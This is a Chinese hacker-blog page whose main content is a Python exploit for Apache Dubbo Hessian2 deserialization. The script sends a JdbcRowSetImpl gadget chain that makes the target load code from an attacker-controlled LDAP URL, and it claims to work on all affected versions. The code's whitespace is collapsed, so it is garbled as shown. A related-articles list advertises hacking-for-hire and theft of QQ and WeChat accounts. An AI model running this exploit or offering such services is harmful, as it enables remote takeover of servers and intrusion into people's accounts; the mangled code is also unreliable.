Apache Dubbo反序列化漏洞

访客4年前黑客文章821
# -*- coding: utf-8 -*-importsys fromdubbo.codec.hessian2 importDecoder,new_object fromdubbo.client importDubboClient iflen(sys.argv)<4:print('Usage: python {} DUBBO_HOST DUBBO_PORT LDAP_URL'.format(sys.argv[0]))print(' Example: - python {} 1.1.1.1 12345 ldap://1.1.1.6:80/exp'.format(sys.argv[0]))sys.exit()client =DubboClient(sys.argv[1],int(sys.argv[2]))JdbcRowSetImpl=new_object('com.sun.rowset.JdbcRowSetImpl',dataSource=sys.argv[3],strMatchColumns=["foo"])JdbcRowSetImplClass=new_object('java.lang.Class',name="com.sun.rowset.JdbcRowSetImpl",)toStringBean=new_object('com.rometools.rome.feed.impl.ToStringBean',beanClass=JdbcRowSetImplClass,obj=JdbcRowSetImpl )resp =client.send_request_and_return_response(service_name='org.apache.dubbo.spring.boot.sample.consumer.DemoService',# 此处可以是 $invoke、$invokeSync、$echo 等,通杀 2.7.7 及 CVE 公布的所有版本。method_name='$invoke',args=[toStringBean])output =str(resp)if'Fail to decode request due to: RpcInvocation'inoutput:print('[!] Target maybe not support deserialization.')elif'EXCEPTION: Could not complete class com.sun.rowset.JdbcRowSetImpl.toString()'inoutput:print('[+] Succeed.')else:print('[!] Output:')print(output)print('[!] Target maybe not use dubbo-remoting library.')

相关文章

oudxs - oudxs.exe - 进程信息

oudxs - oudxs.exe - 过程信息内容 过程文档:oudxs 或是 oudxs.exe过程名字:Backdoor.Win32.Rbot.amf叙述: oudxs.exe是Bac...

黑客编程,微博密码丢了找黑客,找黑客改成绩可靠吗

防护者就无计可施了吗?当然不是。 聪明的防护者必定懂得两个体系性的思路:不知道攻焉知防和借力。 一方面防卫者有必要是优异的进犯者,才有或许嗅得到真实进犯者的蛛丝马迹,才有或许在要害节点上布置契合实践状...

群主怎么赚钱?群主的群员达到多少可以挣钱

群主怎么赚钱?群主的群员达到多少可以挣钱

做各类主题群,比如某某城市单身聚会群,主要组织同城男女进群参加线下活动,比如去饭店聚会,群主可以和饭店谈好价格,获得一部分分成,按聚会所去人数收费比如30、50或者按总价均摊。 QQ进群 之前...

怎么选购数码相机?新手入门买相机怎么选?

怎么选购数码相机?新手入门买相机怎么选?

摄影新手入门如何选择相机,这个话题还是困扰着无数的新手。阻碍新手购买相机的因素往往就是预算,如果今天告诉你5000元就能搞定你需要的相机,你会心动吗?想要拍摄大片并不只是依赖昂贵的器材,最重要的还是相...

求黑客盗qq号高手,黑客软件yy频道,黑客黑百度账号密码

当 GandCrab 被触发后,它会测验向外联机至内建的上千个独立主机列表,联机成功后,它会开端进行感染主机的加密。 遭到加密的文档,文档的扩展名为 5-10 码随机字母。 GandCrab 首要勒索...

微信秒盗下载安装(微信简单盗)

每日要闻现在微信非常流行,但是仍然有很多人没有使用过微信应用,甚至很多手机用户都不知道如何注册微信。   以下小编分享微信注册方式: 1。注册微信前,需要先下载微信应用。Android手机用户可...